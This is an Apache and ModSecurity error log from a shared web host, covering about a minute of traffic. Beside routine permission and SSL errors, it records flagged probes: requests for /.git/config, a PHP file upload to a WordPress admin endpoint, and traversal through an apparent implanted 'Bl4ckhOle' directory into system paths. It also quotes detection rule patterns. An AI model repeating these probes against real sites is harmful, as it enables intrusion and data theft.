[Fri Jul 17 08:47:42.700972 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:35634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:43.265551 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:43.380244 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:45.009856 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:46.628648 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:46.739468 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:46.803710 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:47.638547 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:35796] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:48.023749 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:48.041605 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:48.362918 2026] [ssl:error] [pid 1993668:tid 1993668] (5)Input/output error: [client 66.85.158.91:35842] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:48.684930 2026] [security2:error] [pid 2023579:tid 2023579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alme3OYpb_TFRze2EO3yTgAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:47:48.684963 2026] [security2:error] [pid 2023579:tid 2023579] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alme3OYpb_TFRze2EO3yTgAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:47:49.227853 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alme3YRpm5MObcED3Q9r1wAAABE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:47:49.227892 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alme3YRpm5MObcED3Q9r1wAAABE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:47:51.334526 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/backup/ccpsl/wp-signup.php"] [unique_id "alme344Wmn5zySdNNkAnMwAAABM"]
[Fri Jul 17 08:47:51.334886 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/backup/ccpsl/wp-signup.php"] [unique_id "alme344Wmn5zySdNNkAnMwAAABM"]
[Fri Jul 17 08:47:51.884743 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:40418] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:53.290209 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:40556] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:53.598378 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.153.22.121:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-global": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alme4eYpb_TFRze2EO3yUAAAAAE"]
[Fri Jul 17 08:47:53.598411 2026] [security2:error] [pid 2023579:tid 2023579] [client 103.153.22.121:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/stravel1-ip": Permission denied [hostname "2s-travels.com"] [uri "/xmlrpc.php"] [unique_id "alme4eYpb_TFRze2EO3yUAAAAAE"]
[Fri Jul 17 08:47:54.234816 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:40612] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:55.008309 2026] [mime:warn] [pid 2018764:tid 2018764] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:47:55.950971 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:40674] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:47:56.384650 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:40732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:00.551911 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alme57oj0IkvhSCYadmAngAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=2189
[Fri Jul 17 08:48:00.551955 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alme57oj0IkvhSCYadmAngAAAAQ"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=2189
[Fri Jul 17 08:48:01.434211 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:01.466238 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:02.955075 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:04.194031 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:05.639247 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:05.773205 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:06.753902 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/backup/ccpsl/wp-signup.php"] [unique_id "alme344Wmn5zySdNNkAnMwAAABM"]
[Fri Jul 17 08:48:10.037384 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:55900] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:13.242065 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:60786] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:14.670788 2026] [authz_core:error] [pid 2023579:tid 2023579] [client 155.133.27.45:0] AH01630: client denied by server configuration: /home/colourmarklabels/public_html/wp-content/uploads/wpcf7_uploads/
[Fri Jul 17 08:48:15.296854 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:17.542466 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:60950] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:17.894563 2026] [security2:error] [pid 2018770:tid 2018770] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alme-S0HS8lGbZyK8qt1_AAAACM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1220&page_105=2188
[Fri Jul 17 08:48:17.894600 2026] [security2:error] [pid 2018770:tid 2018770] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alme-S0HS8lGbZyK8qt1_AAAACM"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1220&page_105=2188
[Fri Jul 17 08:48:18.858448 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory135/node0/memory76/node0/memory58/"] [unique_id "alme-t0t9Kb_MdNxrg7BQwAAAAM"]
[Fri Jul 17 08:48:18.858486 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.28:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory107/node0/memory135/node0/memory76/node0/memory58/"] [unique_id "alme-t0t9Kb_MdNxrg7BQwAAAAM"]
[Fri Jul 17 08:48:20.019256 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:21.798290 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:22.631490 2026] [core:error] [pid 2018758:tid 2018758] (13)Permission denied: [client 57.141.18.40:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory70/subsystem/devices/memory101/subsystem/devices/memory97/node0/memory124/subsystem/drivers_probe
[Fri Jul 17 08:48:22.995547 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:40582] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:25.209311 2026] [core:error] [pid 2023579:tid 2023579] (13)Permission denied: [client 57.141.18.43:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory21/node0/memory45/node0/cpu1/crash_notes
[Fri Jul 17 08:48:25.852394 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:27.260000 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.208.96.206:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python3.12/calendar.py"] [unique_id "almfAw5GPQ6hs4VrfMpAUwAAAAY"]
[Fri Jul 17 08:48:27.260135 2026] [security2:error] [pid 1993671:tid 1993671] [client 85.208.96.206:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/usr/lib64/python3.12/calendar.py"] [unique_id "almfAw5GPQ6hs4VrfMpAUwAAAAY"]
[Fri Jul 17 08:48:27.732618 2026] [mime:warn] [pid 2018767:tid 2018767] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:28.686452 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:40838] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:28.686637 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory62/node0/memory137/node0/memory94/removable"] [unique_id "almfBA5GPQ6hs4VrfMpAVAAAAAY"]
[Fri Jul 17 08:48:28.686668 2026] [security2:error] [pid 1993671:tid 1993671] [client 57.141.18.97:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory58/node0/memory62/node0/memory137/node0/memory94/removable"] [unique_id "almfBA5GPQ6hs4VrfMpAVAAAAAY"]
[Fri Jul 17 08:48:29.368936 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 47.82.50.206:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/class/pci_bus/0000:00/device/0000:00:04.0/resource0
[Fri Jul 17 08:48:29.370973 2026] [mime:warn] [pid 2018758:tid 2018758] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:30.056267 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:1e/subsystem/uevent
[Fri Jul 17 08:48:30.541423 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/font icon - large.png"] [unique_id "almfBkgVnBK6wAv37w6rMwAAABQ"]
[Fri Jul 17 08:48:30.541804 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/font icon - large.png"] [unique_id "almfBkgVnBK6wAv37w6rMwAAABQ"]
[Fri Jul 17 08:48:30.592311 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/img/font icon - large.png"] [unique_id "almfBkgVnBK6wAv37w6rMwAAABQ"]
[Fri Jul 17 08:48:31.121978 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:31.256621 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:31.510192 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:58590] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:31.966476 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:58616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:31.976174 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:58622] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:33.488853 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:58682] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:34.497475 2026] [security2:error] [pid 1996894:tid 1996894] [client 207.46.13.125:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/QEB  3rd Quarter 2010.pdf"] [unique_id "almfCo4Wmn5zySdNNkAnQAAAABM"]
[Fri Jul 17 08:48:34.521331 2026] [security2:error] [pid 1996894:tid 1996894] [client 207.46.13.125:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/storage/post/pdfs/QEB  3rd Quarter 2010.pdf"] [unique_id "almfCo4Wmn5zySdNNkAnQAAAABM"]
[Fri Jul 17 08:48:34.843023 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:58748] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:35.057602 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:35.221962 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:35.367722 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:35.490756 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:58770] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:36.436964 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:58800] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:36.561595 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:48:41.216517 2026] [security2:error] [pid 2018741:tid 2018741] [client 140.248.75.21:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "diyosh.bostonlanka.com"] [uri "/.git/config"] [unique_id "almfEboj0IkvhSCYadmAtAAAAAQ"]
[Fri Jul 17 08:48:41.216876 2026] [security2:error] [pid 2018741:tid 2018741] [client 140.248.75.21:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diyosh.bostonlanka.com"] [uri "/.git/config"] [unique_id "almfEboj0IkvhSCYadmAtAAAAAQ"]
[Fri Jul 17 08:48:41.228647 2026] [security2:error] [pid 2018757:tid 2018757] [client 140.248.75.21:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "diyosh.bostonlanka.com"] [uri "/.git/HEAD"] [unique_id "almfEUkXT4NBqALj2lZ7sQAAABA"]
[Fri Jul 17 08:48:41.229116 2026] [security2:error] [pid 2018757:tid 2018757] [client 140.248.75.21:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diyosh.bostonlanka.com"] [uri "/.git/HEAD"] [unique_id "almfEUkXT4NBqALj2lZ7sQAAABA"]
[Fri Jul 17 08:48:41.266340 2026] [security2:error] [pid 2018741:tid 2018741] [client 140.248.75.21:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "diyosh.bostonlanka.com"] [uri "/index.php"] [unique_id "almfEboj0IkvhSCYadmAtAAAAAQ"]
[Fri Jul 17 08:48:41.294774 2026] [security2:error] [pid 2018757:tid 2018757] [client 140.248.75.21:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "diyosh.bostonlanka.com"] [uri "/index.php"] [unique_id "almfEUkXT4NBqALj2lZ7sQAAABA"]
[Fri Jul 17 08:48:45.633417 2026] [security2:error] [pid 1993715:tid 1993715] [client 57.141.18.42:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory38/node0/memory23/node0/memory43/node0/memory22/"] [unique_id "almfFXRlmrtCoY_COpck-wAAAAg"]
[Fri Jul 17 08:48:45.633457 2026] [security2:error] [pid 1993715:tid 1993715] [client 57.141.18.42:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory38/node0/memory23/node0/memory43/node0/memory22/"] [unique_id "almfFXRlmrtCoY_COpck-wAAAAg"]
[Fri Jul 17 08:48:46.216270 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46628] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:48:46.697724 2026] [security2:error] [pid 2013829:tid 2013829] [client 38.103.170.214:0] ModSecurity: Warning. Pattern match ".*\\\\.(?:php\\\\d*|phtml)\\\\.*$" at FILES:files. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "108"] [id "933110"] [msg "PHP Injection Attack: PHP Script File Upload Found"] [data "Matched Data: e57gxo.php found within FILES:files: e57gxo.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ceylondigest.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almfFg7FYe46zHK_jL3OowAAABk"]
[Fri Jul 17 08:48:46.698092 2026] [security2:error] [pid 2013829:tid 2013829] [client 38.103.170.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylondigest.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almfFg7FYe46zHK_jL3OowAAABk"]
[Fri Jul 17 08:48:47.585950 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:46662] AH02013: coalesce failed to read from data bucket
